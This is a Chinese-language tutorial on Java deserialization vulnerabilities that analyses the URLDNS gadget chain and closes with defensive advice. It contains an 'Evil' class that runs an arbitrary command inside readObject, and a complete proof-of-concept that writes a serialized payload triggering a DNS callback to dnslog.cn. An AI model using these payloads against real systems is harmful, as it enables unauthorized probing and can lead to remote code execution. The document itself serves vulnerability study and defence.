Java反序列化 — URLDNS利用链分析
字数 1256 2025-08-05 19:10:09
Java反序列化漏洞分析:URLDNS利用链详解
一、Java序列化与反序列化基础
1. 序列化与反序列化概念
Java序列化是指将Java对象转换为字节序列的过程,反序列化则是将字节序列恢复为Java对象的过程。
关键类和方法:
ObjectOutputStream.writeObject()- 序列化方法ObjectInputStream.readObject()- 反序列化方法
2. 序列化条件
一个类要实现序列化必须:
- 实现
java.io.Serializable接口 - 所有属性必须是可序列化的(使用
transient关键字修饰的属性除外)
示例代码:
public class User implements Serializable {
private String name;
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
3. 序列化数据格式
序列化后的二进制数据格式:
aced:Java序列化数据的magic word(STREAM_MAGIC)0005:版本号(STREAM_VERSION)73:表示是一个对象(TC_OBJECT)72:表示对象描述(TC_CLASSDESC)
二、反序列化漏洞原理
1. 反序列化魔术方法
实现了Serializable接口的类可以定义以下方法,在序列化/反序列化过程中会被调用:
private void writeObject(ObjectOutputStream oos) // 自定义序列化
private void readObject(ObjectInputStream ois) // 自定义反序列化
2. 反序列化漏洞三要素
readObject反序列化利用点- 可利用的调用链(Gadget Chain)
- RCE触发点
3. 恶意代码执行示例
public class Evil implements Serializable {
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd); // 反序列化时执行任意命令
}
}
三、URLDNS利用链分析
1. URLDNS特点
- 不限制JDK版本
- 使用Java内置类,无第三方依赖要求
- 目标无回显,通过DNS请求验证漏洞存在
- 只能发起DNS请求,无法进行其他利用
2. Gadget调用链
JDK 1.8下的调用路线:
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
3. 关键代码分析
HashMap.readObject():
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// ...省略部分代码...
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); // 关键调用点
}
}
HashMap.hash():
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
URL.hashCode():
public synchronized int hashCode() {
if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); // 当hashCode为-1时计算
return hashCode;
}
URLStreamHandler.hashCode():
protected int hashCode(URL u) {
// ...省略部分代码...
InetAddress addr = getHostAddress(u); // 触发DNS查询
// ...省略部分代码...
}
4. 避免重复DNS查询的技巧
在生成Payload时需要避免本地测试时触发DNS查询,有两种方法:
方法一:使用SilentURLStreamHandler
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
方法二:通过反射修改URL的hashCode字段
URL url = new URL("http://dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 123); // 设置hashCode为非-1值
map.put(url, 123); // 此时不会触发DNS查询
f.set(url, -1); // 恢复hashCode为-1,确保反序列化时触发
四、完整POC示例
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://dnslog.cn");
// 通过反射修改hashCode避免本地触发DNS查询
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 123);
System.out.println(url.hashCode());
map.put(url, 123); // 此时不会触发DNS查询
// 恢复hashCode为-1,确保反序列化时触发
f.set(url, -1);
try {
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
// 反序列化(触发DNS查询)
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
五、防御措施
- 输入验证:不要反序列化不受信任的数据
- 使用白名单:使用
ObjectInputFilter设置反序列化白名单 - 替换默认序列化:考虑使用JSON等更安全的序列化格式
- 更新组件:及时更新存在漏洞的第三方库
六、总结
URLDNS利用链是Java反序列化漏洞检测中最常用的方式之一,它通过以下流程实现DNS查询:
- 反序列化HashMap对象
- HashMap的readObject方法调用hash函数
- hash函数调用URL对象的hashCode方法
- URL的hashCode方法调用URLStreamHandler的hashCode方法
- 最终触发getHostAddress方法进行DNS解析
理解这个利用链对于分析更复杂的Java反序列化漏洞具有重要意义。